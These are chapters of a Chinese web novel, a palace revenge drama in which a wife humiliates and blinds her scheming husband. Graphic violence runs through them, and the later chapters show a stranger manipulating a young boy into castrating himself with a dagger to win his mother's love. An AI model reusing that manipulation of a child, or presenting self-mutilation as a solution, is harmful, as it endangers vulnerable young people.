“我保证好好对你,好好教育延儿,你和我一起,咱们安安生生地过自己的小日子,好不好?” 叶晚竹错愕地看着萧子景,好像听见了天方夜谭。 这是在干什么? 难道也有一个萧子景重生了不成? 可再重生,也还是那个坏事做尽的贱人! “王爷都醉成这样了,冬生!快把王爷弄走!”叶晚竹很快又皱着眉头怒道。 管他到底是怎么回事,只要是这个人,就没有不恶心人的! 冬生一脸惊恐,小跑着冲到萧子景身边,点头哈腰地说着好话,一边想把他扶着往默言阁走。 王爷这是要干什么啊! 冬生丝毫不怀疑萧子景是喝醉了,正在发酒疯,他要是不拦住,等明天,王爷酒醒了知道自己做过什么,一定会扒了他的皮! “王爷,咱们走吧!” “你给本王滚蛋!” 萧子景一挥手,又带出一股浓郁的酒气,将冬生重重推倒在地! “阿竹,”他又立刻看向叶晚竹,“我知道错了,你就再原谅我一次——阿竹!阿竹!” 趁着萧子景和冬生纠缠,叶晚竹翻了个白眼,拔腿就走! 萧子景往前追了两步,脚下一个趔趄便栽倒下去,发出咚地一声闷响。 “阿竹,好疼啊,你回头看看我……” 听着萧子景口齿不清的呓语,叶晚竹越发加快了脚下的步伐。 她看萧子景这不是重生,八成是撞邪了! 脏东西,还是离远点好! 萧子景趴在地上嘟嘟囔囔,却并没有换来叶晚竹的关注,只有冬生小心翼翼地又靠了过来。 “王爷……”他硬着头皮,“您喝醉了,小的还是扶您回去休息吧?” 萧子景闭着双眼不置一词,冬生见状招呼着几个小厮上前,七手八脚地把萧子景抬着往默言阁去了。 这段时间萧子景不住在默言阁,甚至也不住在王府,屋里冷冷清清,一副没人气的氛围。 夏至依旧不见踪影,冬生只好重操旧业,一边安排小厮各司其职,一边给萧子景清理身子,再换上干净的衣物。 谁知他刚拿起新的中衣,手腕便被人一把按住了! 冬生猛地打了个哆嗦,低下头,对上一双带着血丝,却并不迷茫的眼睛。 “王,王爷……”他吓了一大跳,又有些难以置信,“您没醉?” 那刚才那副模样是怎么回事? 萧子景神情阴沉,一把拂开冬生傻傻举在半空中的手,自己坐了起来。 “你现在就去潇湘院,跟叶晚竹说,我醉得神志不清,一直在喊她的名字,请她过来看看!” 冬生闻言,双眼是一黑又一黑! 他哪里来的胆子去骗王妃,是不想活了吗? “王爷啊,”冬生皱着一张脸,“王妃她,她肯定不会来的……” 王妃就差和王爷不死不休了,怎么会来看他呢? 萧子景的眉头又皱紧几分,不耐地捶了一把床板。 “她来不来不重要!只要让她知道这件事就行了!” 冬生半张着嘴,说不出话,也听不懂。 王爷这是要干什么? “还不快去!”萧子景已经又不耐烦地咆哮了起来。 冬生战战兢兢地跑了,三步一踉跄,好像奔赴的是十八层地狱一般。 萧子景坐在床边却陷入了深思。 那人的办法,能好用吗? 第一百四十二章 忍辱负重的追妻计划 自从发现了叶晚竹嚣张跋扈的“真相”,萧子景便陷入了无限的抑郁当中。 他曾经恨不得亲手给叶晚竹扣上一个奸夫,好能正大光明地送她上路。 现在奸夫真的来了,他却敌不过! 想不出办法,唯有借酒浇愁,萧子景整日混迹在赌场,只希望能用酒水和筹码堵住自己崩溃的脑袋。 他就是在这个时候认识了一个人。 那人三十来岁,是个落魄的镖师,据说当年变卖了全部家产,孤身一人到京城参加科举,却被冒名顶替,上诉无门,索性找了家镖局委身,就这么稀里糊涂地过了下去。 萧子景听着那镖师的话就想冷笑。 昭德帝看似公正不阿,其实呢? 私下怕是什么勾当都做的出来! 真是地地道道的伪君子! 那镖师一身落拓,和萧子景的颓废有几分相仿,再加上这同是天涯沦落人的遭遇,顿时互相引为知己。 萧子景也不能把自己的心事藏着掖着,不敢点名道姓,却也尽量伪装了一番,把叶晚竹和昭德帝的“苟且”讲给那镖师听。 镖师自然是义愤填膺,难听的粗话骂了一箩筐,最后却忽然看着萧子景犹豫了起来。 “像这样水性杨花的贱女人,就该抓去沉塘!兄弟,我怎么看你好像没有这个意思啊?” 他这话算是说到了萧子景的心坎里去了。 让叶晚竹去沉塘? 且不说叶晚竹的靠山是当今圣上,单就萧子景自己,其实也并不想这么做。 这些天醉生梦死,萧子景说完全麻痹自己显然是不可能的,这些事情依旧见缝插针地往他脑子里钻。 恶心和愤怒依然占据大多数,可萧子景心里却有一小块地方,渐渐地后悔起来。 看看他和叶晚竹现在的区别吧。 一个声名狼藉,哪怕混在平民百姓的赌场里都混不出半点名堂,甚至还要靠那镖师朋友接济,浑身上下掏不出一两银子。 另一个则是要风得风要雨得雨,名声地位什么都不缺,过得简直不能再快活。 每每想到这儿,萧子景都忍不住攥紧拳头。 凭什么? 叶晚竹是他的王妃,这样的生活,就该他们两个人共享才对! 他可以对叶晚竹和昭德帝的事情假装不知,只要叶晚竹断了这不堪的关系,继续安安分分地当他的景平王妃! 萧子景不得不承认,他真的后悔了。 折腾了这么一大圈,最拿得出手的女人,还是叶晚竹! 那镖师听了萧子景的话,沉默半晌,而后默默地竖起了大拇指。 “兄弟你真是汉子,为了女人能做到这个地步,情圣啊,情圣!” “不过那奸夫比你有钱,家世也好,你想挽回媳妇,恐怕只能从别的地方入手!” “你听我的,就去表现你有多在乎她!毕竟你们俩才是正经夫妻,那外面的男人,都能干出勾引良家妇女的事情,肯定就是玩玩!” “深情才能打动人啊!等你表露真心,你媳妇还不死心塌地地跟着你?” 萧子景越想越觉得这话有理,却一直找不到机会,今天终于让他等到了! 想尽一切办法,他也要让叶晚竹回心转意! —— 叶晚竹还不知道萧子景做了个什么样的泼天白日梦。 她回到潇湘院不久,刚歇了口气,便又听到外面传来了通报。 是冬生。 “让他走!” 叶晚竹皱着眉头摆手,她一点儿都不想应付醉鬼。 “隐风,”叶晚竹又转过头,“你去查查,萧子景这几天都干了什么?” 好端端的忽然这样发疯,她是不是也应该去请个什么得道高人来驱一驱? 还是说,这里面也有什么玄机? 隐风的表情也有些微妙,方才萧子景那出人意料的一手,让所有人都心有余悸。 他刚刚离开,冬生扯着嗓子的喊声便从外面传进了屋中。 “这疯病莫非还是传染的不成!” 听着冬生描述萧子景酒醉的场景,书画忍不住搓了搓自己的一双胳膊,感觉鸡皮疙瘩掉了一地。 “隐川,去把他赶走。” 叶晚竹的脸色却冷了下来,一只手轻轻敲击着桌面。 “再跟着他回默言阁,听听萧子景是怎么说的。” 对冬生,叶晚竹也算有些了解,这个小厮憨得很,胆子又小,如果不是有人指点,是不会说出外面飘荡的那些话,也不敢做出在潇湘院外叫阵的举动来的。 这只能证明萧子景没醉,这件事,他才是幕后主使。 叶晚竹又冷笑起来。 是她把萧子景想得太好了,竟然以为他只是中了邪! 隐川也转身离开,大步走到院门前,几声呵斥过后,外面终于恢复了安静。 “王爷未免也太过分了!” 书画龇牙咧嘴地对着默言阁的方向做了个鬼脸。 她也看明白是怎么回事了,王爷这是在消遣王妃不成! 简直是岂有此理! “让他出招好了。” 屋外安静下来,叶晚竹也舒了口气,懒懒地倚靠在太师椅上,有些倦怠,语气却带着满满的嘲讽。 “反正丢面子的人不是我。” 萧子景为了那个不可告人的计划,连脸都不要了,可见他想要的东西对他来说一定十分重要。 而他现在丢掉的脸面和尊严,大概都等着计划成功之后,再在叶晚竹身上找补回来吧。 叶晚竹冷冷地垂下眸子。 没关系,她会让萧子景再难堪一次! 还要等着隐川隐风打探回来的消息,叶晚竹并没有马上沐浴更衣,哄睡了小花,便一直在小厅的摇椅上坐着闭眼假寐。 直到一阵惊慌失措的声音再次打破了宁静。 “王爷,您不能进去!” “都给本王滚蛋!” “王爷!” “快去告诉王妃,王爷闯院了!” 叶晚竹猛地睁开双眼,坐起身,便看到萧子景一把将拦在身前的嬷嬷和丫鬟们全都推开,大步流星地朝自己的方向走来! “阿竹,你为什么不见我!” 萧子景换了身衣裳,酒气却还是那么明显。 他的语气依旧委屈,眼眶也依旧通红。 叶晚竹上下打量了他这副尊容一番,方才缓缓开口—— 第一百四十三章 王爷,请开始你的表演 “王爷的伪装,实在是太拙劣了。” 放开一切不说,刚才还醉得人事不省,连路都走不了的人,忽然之间就这么清醒起来了? 叶晚竹勾着嘴角,笑得越发不屑。 “王爷这是在把我当成傻子糊弄呢?” 萧子景攥紧了拳头,面上仍是那委屈隐忍的模样。 “阿竹,你怎么能这样想我?我只是知错了!” “萧子景,别再演了。” 撇了撇嘴,叶晚竹的神态不耐烦至极,“事情究竟已经到了什么地步,你我都心知肚明,这个时候你出来惺惺作态,打的是什么算盘,你以为别人都看不出来吗?” 忽然知错,要回心转意? 她冷冷笑着,“王爷还不如说你喝酒撞坏了脑袋,忽然醒悟了。” “要是这么说能让你心里高兴一点,那也可以。” 咬着牙,萧子景小步小步往叶晚竹面前挪了过去。 回忆着那点几乎已经被遗忘殆尽的场景,萧子景垂下目光,努力做出当年迷惑叶晚竹时候的表情。 “阿竹,”他连声音都变得柔和下去,“我是真心知错了,求求你,原谅我吧!” “哦?” 看着萧子景这副模样,恶心之余,叶晚竹忽然又来了兴致。 “你就这么随口一说,就要我相信你真的知道错了吗?” 萧子景眼底有控制不住的亮光一闪而过。 有戏,有戏啊! “我可以给你证明!”他压着激动的心情又上前一步,“你想让我怎么做都可以!” 只要叶晚竹能回心转意,今天他受过的罪,日后可以慢慢还! 大丈夫,能屈能伸! 叶晚竹并不意外,抬手一指屋中的空地,“跪下。” 萧子景也没多意外,顺从地转身照办,只是那背影,怎么看都有点僵硬。 在冰凉坚硬的地板上跪好,忍着膝盖的不适,萧子景面上的笑容仍是讨好着的。 “阿竹,这样,你能消气了吗?” 就这么一跪,萧子景已经在指望她消气了? 男儿膝下有黄金他是真的相信了啊。 叶晚竹忍了忍才没有冷笑,转而朝着屋外拍了拍手。 “书画!”她扬声道,“让院里的所有人都到这里来。” 很快,除了隐风和隐川,潇湘院的所有下人都放下手中的活计,密密麻麻地挤进了这间小厅之中。 众人将萧子景团团围在当中,逐渐形成了水泄不通的模样。 叶晚竹冷眼看着萧子景的脸色红了又白,白了又青。 要不是隐风隐川都去办差,今日哪里能让萧子景钻这个空子,进到潇湘院里来? 他刚才还推打了不少上前阻拦的下人,叶晚竹可都看在眼里。 小花没去围着人群凑热闹,给叶晚竹倒了一杯温水,叶晚竹小口抿着,足足喝了一炷香的功夫才搁下茶盏。 这个时候,在众人的凝视之下,萧子景已经有些神志不清了。 他死死地攥着拳头,才能阻止自己暴起。 不能不忍,否则,就前功尽弃了! “王爷。” 叶晚竹的声音终于响了起来,听在萧子景耳中,简直是如同天籁一般。 他深吸一口气,满怀希望地抬起头来。 “你说你要恳求我的原谅,现在可以开始了。” 温水入喉,滋养了刺痛的喉咙,叶晚竹笑眯眯地看向萧子景,心情都变好了起来。 萧子景则是难以置信地瞪大了眼睛,又回过头,反复看着这些下人们。 让他被人旁观下跪,已经很过分了! 现在叶晚竹还要干什么? 让他当众求原谅? 这怎么行! “阿竹,我们的私事,就不要这么声势浩大的了吧?”忍了又忍,萧子景终于以一种为难的语气开了口。 叶晚竹一脸莫名。 “哪里声势浩大?这屋中总共也就二十几个人罢了。” 萧子景险些一口气喘不上来。 这可是二十几个人! 还罢了? “王爷不是说,我想怎么做都可以吗?” 叶晚竹单手撑着脑袋看了过去。 “我才提到第二个条件,王爷就不想配合了?这么看来,王爷也没多少诚意啊……” 萧子景闻言咬紧了牙关,忽然就知道,什么叫骑虎难下! 叶晚竹把话都说成这样了,他要是今天不配合,恐怕就再也没有下一个机会了! 忍字头上一把刀! 忍! 萧子景都不知道自己是从什么地方硬挤出了一个笑容来。 “好好好,我说,我说,你别生气啊!” 他故意捏着嗓子,小花听得连连皱眉,鬼脸做到一半,又被叶晚竹捏了捏掌心。 看着她的动作,萧子景倒是精神振奋起来。 叶晚竹这模样好像是真心想听! 他真有希望了! 清了清嗓子,萧子景便将自己提前想过的说辞搬了出来。 这段时间,他整日不是在赌场,就是在花街柳巷,这两处都不是什么正经地方,里面的人更是三教九流,什么都有。 跟这些人混在一起,再加上连着抬了那么多房的姨娘,萧子景的甜言蜜语俨然是信手拈来,又浑然天成。 听着他睁眼瞎一样诉说着自己的绵绵情意,和无尽懊悔,书画忍不住搓了搓胳膊。 三伏炎夏,她的一身鸡皮疙瘩都让王爷念出来了! 潇湘院的下人们也有同感,王妃没出声打断,她们便也只眉来眼去地悄悄交流着。 这样的情话说得可太恶心了! 王爷竟然还面不改色! 别的也就算了,这份无耻的精神,实在是值得佩服! “……阿竹,看在我的诚意上,你就原谅我吧,好吗?” 两炷香的功夫过去之后,萧子景已经说得口干舌燥,再怎么搜肠刮肚也想不出新的词语,只能主动叫了停。 他气喘吁吁地抬起头,对上叶晚竹垂着脑袋,还一点一点的模样,顿时感到一阵火气直冲天灵盖! 她睡着了? 叶晚竹竟然睡着了? “嗯?” 被小花推了一把,叶晚竹这才猛地惊醒,带着睡意抬起头来。 萧子景絮絮叨叨,把那等车轱辘话放在嘴里嚼个没完,她都不知道自己是什么时候睡过去的。 “说完了?” 屋中一片安静,叶晚竹深感得救。 萧子景的声音危险地颤抖着,“阿竹,你现在愿意原谅我了吗?” 第一百四十四章 前世仇,今生报! “当然是不愿意了。” 从叶晚竹口中说出的话没有一丝犹豫的成分。 萧子景不由得愣住片刻,而后才反应过来自己听到了什么,心跳开始猛烈地加速。 他都做到这种份儿上了,叶晚竹居然说不愿意? “……那你要怎么样才肯原谅我?” 又捏了捏拳头,感到指甲掐破了掌心的皮肉,萧子景说话的时候还是有些忍不住怒意。 叶晚竹扬了扬眉。 “我还以为王爷能多坚持一会儿,没想到,才两个要求,你就问出这句话来了?” 萧子景的表情有些古怪。 叶晚竹这是在嘲讽他吗? 应该是吧? “阿竹。” 用尽了全身的隐忍,萧子景才没大吼出声。 “你还想怎么样,说吧。”他不甘地咬着后槽牙,说话时声音都变了调子。 叶晚竹却叹了口气,没回答他的问题,倒是先一摆手,让下人们离开了。 亏她还以为萧子景做了多么充足的准备,又能坚持多久,没想到这么快就受不了了,白白让潇湘院的人来折腾了一场。 等到屋中再次只剩下两人,萧子景立刻又把刚才的问题问了一遍。 “我当然是永远也不会原谅王爷的啊。” 叶晚竹终于开了口,笑容灿烂,语气喜悦,仿佛在说一件天大的好事。 萧子景的心却猛地沉了下去。 “你说什么?”他直勾勾地盯着叶晚竹。 叶晚竹毫不吝啬,一字一字地原样又说了出来。 “你耍我?” 看着她越发灿烂的笑脸,萧子景反应过来,终于忍不住怒吼出声。 “你,你竟然又耍本王!” 上一次被叶晚竹戏耍了整夜,出尽洋相的记忆忽然浮现在眼前,萧子景怒视着叶晚竹,感到这两次她的笑脸正在渐渐重合。 他又被叶晚竹耍了。 还是几乎一样的手法! “你这个贱人!” “王爷装不下去了?” 叶晚竹见状倒是松了口气。 “这样才对,王爷刚才的样子,实在是让人倒胃口。” 萧子景的胸膛剧烈地起伏着,一张脸涨成了紫色,他大口喘着粗气,一副恨不得要把叶晚竹生吃了的样子。 “贱人,你早就知道我要做什么了,是不是?” 怒气上涌,让萧子景很难保持他本就不多的理智。 他忍不住阴暗地想着,是不是昭德帝帮了什么忙? 昭德帝是一国之君,天下在握,他手下还有一个无所不知的东厂头子谢无咎。 靠着这些,自己和那镖师的来往交谈,昭德帝是不是已经全都知道了? 看着叶晚竹这张处变不惊的脸,萧子景越发确定自己的想法。 “水性杨花的婊子!”他五官扭曲着骂出了声。 叶晚竹倒是一顿。 她正好好地骗着人,拱着火呢,骂她贱人毒妇什么的,叶晚竹都能理解,可这水性杨花是从何说起? 莫非萧子景已经被她彻底气疯了,口不择言,什么都说? “那王爷就是一个毫无礼义廉耻的——小倌儿?”叶晚竹挑了挑眉,又道,“好像也不太对,像王爷这样的贱种,我一时间想不到有什么词比较合适。” “贱人,你别蹬鼻子上脸!” 萧子景俨然是已经愤怒到了极点,眼中理智尽失,大吼一声便朝着叶晚竹扑了上来。 “我今天就让你知道,你到底是谁的女人!” 他狂怒着张开双臂,叶晚竹眼疾手快地挡了一下,才没让萧子景的手落在自己衣襟上。 她的眉头也跟着皱了起来。 一次是偶然,萧子景接连不断地这么说话动作,那就有点不对头了。 他这是想到了什么地方去? 没给叶晚竹多少思考的空间,萧子景已经再度袭了上来。 “你给本王过来!”他抬手指着叶晚竹的鼻子,“不许跑!” 这种时候,不跑就是傻子,叶晚竹飞起一脚,将椅子踢向萧子景,又趁他格挡的时候身子一歪,顷刻间便贴到了他后心。 萧子景已经被冲昏了头脑,根本没有想起来还有防御这回事儿,叶晚竹狠狠一掌拍下,他嚎叫一声倒了下去,吐出一大口鲜血! 两人过招只在瞬息之间,叶晚竹却愣愣地站在原地,盯着自己的掌心直看。 她刚才好像感觉到一股内力涌流起来了。 有范大夫的调理,叶晚竹知道自己的身体一直在好转,可她万万没有想到,竟然会感受到内力的存在! 功力散尽后,叶晚竹体内便如同一座枯井,时至今日,终于又有了生机! 她试着再挥一掌,却感到胸口一窒。 看来是方才用力过猛了。 “王妃!” 隐川的声音忽然传来,带着急迫,还伴随着破门而入的声响。 他风一般旋到叶晚竹身边,见她没有危险,这才扑通一声跪了下去。 “都是属下失职,请王妃责罚!” “罢了。” 心情正大好着,叶晚竹摆了摆手,让隐川起身,又指了指趴在地上,大口大口地吐着血的萧子景。 “把王爷拖出去,吊到王府门前,挂个三天三夜!” 萧子景这会儿还清醒着,听到这话忍不住狠狠地打了个哆嗦。 “我……”他想说话,可惜刚开口就吐出一大口鲜血! 经脉被震断的疼痛也让他心下战栗不已。 叶晚竹不是早就自废武功了吗? 她怎么能打得出这样一掌? 来不及想了,隐川上前一把扯住萧子景的头发,强迫他高高地昂起了脑袋。 眼前一亮又一暗,萧子景看着站在自己面前,手持长鞭,一脸恨意的叶晚竹,不知为何剧烈地哆嗦起来。 “你要,要干什么?” 叶晚竹慢慢地转动着手上的鞭子。 萧子景发的这一通疯,让她想起了阔别已久的前世。 正好,前世死前她受过的那些侮辱折磨还没报复过呢! 挥起长鞭,叶晚竹二话不说,重重地抽在了萧子景的右眼上! “啊——” 萧子景惨叫一声,下意识地闭上双眼,再睁开,视线奇怪地收缩了一半。 温热的液体顺着脸颊不断流下,萧子景摸了一把,满手是血。 他的右眼瞎了!看不见了! “带走吧!” 丢下长鞭,叶晚竹笑颜如花。 “对了,派人看着点,千万别让王爷就这么死了。” 第一百四十五章 她更喜欢小女孩儿 今天的早些时候,萧延正浑浑噩噩地走在京城的大街小巷里。 他脑海中一片空白,方才发生的事情似乎在一瞬间变得遥远,让他想抓都抓不住。 他被娘亲过继给阮姨娘了? 这怎么可能呢? 他是娘亲的亲生儿子,就算娘亲再不想管他,律法也不应该允许她这么做才对! 他听李先生讲过的—— 对了,李先生和蒋三也都被娘亲让卢大人抓走了! 娘亲的本事还是太大了! 想到这儿,一阵绝望涌上了萧延的心头,紧跟着便是更加深重的愤恨。 娘亲这么厉害,为什么不能对他好! 要是娘亲向着他,他还用得找吃这么多苦吗! 都怪娘亲!都怪娘亲! “坏女人,贱女人!” 气到极致,萧延狠狠地踢了一脚身边的东西,尖声大骂起来。 “诶!你这小孩怎么回事!”摆摊的小贩顿时跟着大喊,“把我的东西都弄坏了!” 萧延这会儿正在京华街上,不到晌午,天气虽然炎热但还能忍受,街上到处都是趁机摆摊卖货的小贩。 萧延那一脚下去,将小贩刚摆出来的绿豆汤桶踢翻了,汤水撒得四处都是。 “你是哪家的小孩?无缘无故在大街上发什么疯!” 小贩心疼得眼睛都红了,一把扯住萧延的衣领,“叫你家大人来,赔我这一锅绿豆汤!” 他天不亮就起来熬汤,马上能卖钱了,就被这倒霉孩子毁了! 萧延下意识地瑟缩了一下,随即又在小贩的怒吼声中跳起脚来。 “不就是一桶破绿豆汤吗?白给我我都不稀罕!你这样的,一看就卖不出去,我踢了正好!” “嘿你这小孩!” 小贩瞪大双眼,怎么也没想到会听到这样的回答,气得涨红了脸。 “我看你穿得倒是人模狗样,怎么没有一点儿规矩?你爹你娘就让你这样在外面胡来?没人要的野狗都比你懂礼貌!” 这话可谓是戳中了萧延的心窝子,他的呼吸骤然变得急促起来。 恶狠狠地盯着这小贩,下一刻,萧延毫无征兆地张开嘴,一口咬住了他的胳膊! “啊啊啊!” 小贩倒吸一口冷气,猛地惊呼出声! 这是哪儿来的疯小孩? 他用力甩着胳膊都没能将萧延甩开,旁边几个看热闹的小贩这才发现不妙,七手八脚地上来将两人分开。 那卖绿豆汤的小贩低头一看,自己胳膊上多出一个血淋淋的牙印,正大股大股地往外冒着鲜血! “你他娘的!” 受此无妄之灾,小贩火冒三丈,推开阻拦他的几人便朝萧延而去。 “没人要的孩子是吧?老子打死你!” 萧延已经在刚刚的混乱中被推倒在地,只能眼睁睁地看着那小贩凶神恶煞地朝自己而来,想跑却没了力气。 “诶呦!你怎么跑到这儿来了!” 就在这时,一个身穿小厮衣裳,一脸焦急的人冲进人群,拦在萧延和小贩之间。 “这位大哥,对不住,实在是对不住啊!” 一边道歉,小厮一边手脚麻利地将萧延从地上扶起来,又护在自己身后。 “大哥,大哥!”他这才一脸讨好地看着那小贩。 “那个,实在不好意思,这是我们家小少爷,小时候生病发了高热,把脑子烧坏了……” 小厮伸手在自己脑袋上点了两下,又做了个无奈的表情。 “他这两天又犯病,见人就打骂,还偷跑出府,我们都找了一天了!” 见小贩仍是一脸怒气冲冲,小厮笑得更加谄媚。 “大哥大哥,别跟病人一般见识了,这样,这些银子你拿着,去医馆包扎一下,多余的,就当我家老爷赔给你的酒水钱!” 道歉的流程信手拈来,一看这小厮就没少处理这样的事情。 那小贩又掂了掂手里的布包,除去包扎上药的钱,再买他十桶绿豆汤都绰绰有余! “行吧,那就这样,看好你们家疯子啊!” “一定,一定!” 点头哈腰了无数回,小厮终于带着萧延脱离人群,往一条安静的小巷中走去。 “你不是王府的人,你是谁?” 直到这个时候,萧延才开口发问。 那小厮左右看了看,见没有人,顿时直起身子,与方才低三下四的模样完全不同了。 “我是蒋三的朋友,”他低头看向萧延,“他给我传信,说你可能会有麻烦,让我接应一下。” 萧延闻言激动起来,“蒋三叔被放出来了?” “还没有。” 这朋友的话又让萧延的表情黯淡下去。 “走吧,我先带你找个安全的地方再说。” 萧延跟着这个叫王武的走了很久,才终于在一间破破烂烂的小院中停下了脚步。 看着王武给自己倒的水,盛在一个满是豁口的破碗里,萧延虽然已经渴得嗓子冒烟,却还是没伸手。 “你要跟我说什么?” 王武在桌子对面坐了下来。 “你的事情,我听蒋三说过了,要我说,他们用的办法,对你那个娘根本就没效果!” 说起叶晚竹,王武的语气中透着嫌恶,萧延听着,忍不住对这位有了些归属感。 “那王武叔叔,你是不是有办法?”他歪着头问。 蒋三叔叔可是帮了他不少忙,王武是他的朋友,肯定也是来帮自己的! 王武闻言咧嘴一笑,忽然就显出一股危险,且不怀好意的滋味来。 “他们的办法不咋地,对你来说却很安全,我的办法就算了,你接受不了的。” “我能,我能接受!” 一听有办法,萧延顿时直起了身子。 “王武叔叔,我什么都能干!你就放心说吧!” 连下毒的事情他都干了,还有什么接受不了的呢? 萧延信心满满地等着王武开口。 王武又笑了笑,伸手从腰后摸出一把匕首,砰地一声拍在桌上! 萧延被吓了一跳,看着那雪亮的刀刃,他忍不住吞了吞口水。 “王武叔叔……” 难道这是要让他去杀了娘亲? 王武的声音听起来比刚才显得更阴恻恻的。 “依我看,你娘亲不是不喜欢你,她只是更喜欢小女孩儿罢了。” 第一百四十六章 我要当小女孩儿! 更喜欢小女孩儿? 这是什么说法? 萧延不由得愣住了,眼中一片呆滞,显然从来没想过这种可能性。 他直勾勾地看着王武,张了张嘴,却说不出话。 王武眼底闪过一丝暗芒,又把那把匕首往前推了推。 “你想想,你娘从前是不是对你还不错,可等有了那个小姑娘,却忽然就变了模样?” 说起来,叶晚竹对萧延的态度变得恶劣,远远早于认识小花之前,可萧延这会儿看着王武的眼睛,却还是下意识地点了点头。 他甚至还想着,谁能知道娘亲到底是什么时候和那个野种认识的呢? 说不定娘亲冷落他的时候就是和那个野种在一起,只不过他那个时候不知道罢了! “你看,是不是?” 王武露出一个势在必得的微笑。 “老子观察景平王妃很久了,她是个怪胎,和别人不一样,就喜欢没用的小女孩儿!” 男孩传承家业,这是自古以来就流传的道理,萧延虽然人小读书少,但却也将这个道理牢牢地记在心里。 没想到,娘亲竟然和别人不一样? 想到这儿,萧延的表情忽然一顿。 是啊,他怎么忘记了,外祖和外祖母就是这样! “你娘喜欢小姑娘,但是她嫁到景平王府这样的人家,怎么能把自己的奇怪心思说出来?偏巧又生了你这个小男孩,从前只能忍着,现在有了心仪的女儿,你当然要靠边站了。” 王武又哼了一声,见萧延不动面前的水碗,自己拿过来,仰头一饮而尽。 他又重重地将破碗放到桌上。 “照我说啊,反正你也要讨好你娘,干脆,就变成小姑娘算了!” 萧延这才终于听明白王武的意思,下意识地伸手捂住了自己两腿之间的地方。 “不行!”他想也不想地拒绝,“我,我才不要!” 他是堂堂男子汉,怎么能做那样的事情? 况且,况且那得多疼啊! 萧延瞪着王武,脸色开始渐渐发青。 王武嗤笑一声,似乎对萧延做出这样的选择也并不意外。 “所以嘛,我就说了,这个办法行不通,你看你非要听,吓着了吧?” 重重地叹了口气,王武伸手在萧延头上粗鲁地揉了两把。 “行了,你在这儿休息一会儿,等外面安静点,我把你送回王府附近,你自己回去。” “你娘在顺着蒋三查他身边的人,我不能出现,被她抓住会很麻烦。” “没事儿了,玩会儿去吧!” 王武站起身布置着接下来的任务,语气又变作一片轻松,仿佛刚才什么话都没有说过。 他又伸手去摸放桌上的匕首,却被萧延用小手按住了手背。 “干什么?” 斜着眼,王武神情莫名地朝萧延看去。 萧延涨红了一张脸,已经站起身来,结结巴巴地对上王武的视线,又赶快移走。 “你,你说的是真的吗?”他嗫嚅着,“只要我变成小女孩儿,娘亲就会重新喜欢我?” 王武静了静,“你真要来?这可不是能反悔的事情。” 萧延闻言又抿紧了嘴唇。 “还是算了吧!”王武手上用力,要将匕首拿走,“你可是景平王府唯一的小主子,就忍气吞声这么十几年,等熬死你娘,王府就是你说了算,她收养的那个废物丫头连个屁都放不出来的!” 萧延却忽然尖叫出声,“不!我干,我要干!” 王府? 王府里只有豆腐白菜,连一点荤腥都要可怜巴巴地分来分去! 父王好不容易弄到了银子,一家人能敞开肚皮吃两天饭,却又更快地变得身无分文! 现在父王有家不回,彻底不管他们了,阮姨娘也肯定不会再管他! 想到这儿,萧延忍不住又哆嗦起来。 他只有娘亲了,娘亲是他唯一的希望,如果不能让娘亲回心转意,他恐怕就要先饿死了! 不就是当小女孩儿吗? 他当! 那个九千岁都吃香喝辣,活得好好的呢,他有什么不行的? “给我刀!”萧延猛地跳了起来,趁王武愣神,一把将匕首夺了过去! “诶你!” 王武啧了一声,追着萧延到了墙角,伸出双手,表情十分紧张。 “你别这样,咱们再仔细想想,听话!” 萧延一只手举着匕首,另一只手艰难地脱下了自己的裤子。 “我不怕!我,我要当小女孩儿!”他咬紧牙关,浑身止不住地哆嗦着,唯有攥紧匕首的五指一动不动。 他要当娘亲最喜欢的小女孩儿,从此被娘亲重新捧在手心,当掌上明珠! 现在这种野草一样的生活,他再也不想过了! 心一横,萧延大喊一声,将匕首高高举过头顶,再狠狠朝着自己割了下去! “啊——” 萧延自认已经承受过无数疼痛,连娘亲的毒打都让他活下来了,没有什么能再击垮他。 可匕首落下的那一瞬间,剧痛排山倒海般袭来,让萧延不能自控地惨叫出声! 天旋地转,眼前发黑,他顿时失去了所有知觉! 再恢复意识,萧延发现自己已经蜷缩成一团倒在了地上。 双腿间的剧痛几乎让他不能呼吸,萧延急促地喘着气,想伸手去摸却又不敢,只能泪眼朦胧地抬起头,寻找着从刚才开始就一直瞠目结舌的王武。 “我,我变成小女孩儿了吗?” 声音都变得无力,萧延努力聚焦目光,找到依旧站在一旁的王武,却发现他的表情十分不对。 他怎么……在笑? 一阵极致的恐慌顿时袭上了他的心头。 “哈哈哈哈……” 王武的确在笑,震惊的,喜悦的,幸灾乐祸的笑声回荡在屋中每一个角落。 “你可真是太让人惊喜了!” 笑得眼泪都快流出来了,王武在萧延面前蹲下身子,拍了拍他的脸。 “小女孩儿?”他语气古怪地重复着,“你一个小男孩儿,就算自宫,也和小女孩儿完全不一样哦。” 怎么这样? 萧延的瞳孔瞬间紧缩成了一线。 “你,你是骗我的?”他浑身发凉,牙关打颤,有一瞬间甚至察觉不到身上的疼痛了。 王武又开始大笑。 “怎么样,好玩吗?” 第一百四十七章 他被骗了! 好玩? 好玩! 他竟然真的只是在玩自己? 萧延的眼前又开始发黑,喉咙也涌上了血腥气。 他张嘴想说话,却成了一连串的呜咽。 他不是小女孩儿吗? 那他现在是什么? 一片混沌之中,萧延自己都没有发现他把这话说出了口。 王武听着听着,嘴角又勾起了一个古怪的笑容。 “这话问的,真是个傻孩子,”他摸了摸萧延的脸,动作莫名带着一丝同情的意味。 可他口中吐出来的话却完全不是这样。 “你现在当然是个……小太监咯!” 说到最后,那幸灾乐祸的意味终于又不加掩饰地涌了出来。 小太监? 萧延静静地躺在地上,疼痛消失以后似乎没再回来,他大睁着双眼,里面茫然无一物。 他在宫里参加宴会的时候见过很多小太监,穿着统一的衣裳,手里端着托盘,还点头哈腰地跟他打过招呼,管他叫景平王世子。 现在,他已经变成这样的小太监了? 父王知道这件事会怎么办? 他会不会把自己也扔到宫里,去当一个这样的小太监? 萧延不疼了,却忍不住大哭起来,“你骗我!你骗我!蒋三叔叔对我那么好,你居然骗我!我要告诉蒋三叔叔,让他杀了你!不,让他把你也变成太监!” 回应他的是王武的又一阵大笑。 笑着笑着,王武的声音里这回有了怜悯的味道。 “都到了这个时候,你还以为我是蒋三的朋友吗?” “小孩,你是不是没朋友啊,你会这么对待朋友交给你的差事吗?” 王武语气古怪地说着,一边手上不停地动作着,不知道从什么地方摸出来一瓶止血阵痛的药粉,均匀地洒在萧延的伤口上。 萧延这会儿有了更多思考的余力,他慢慢地眨着眼睛。 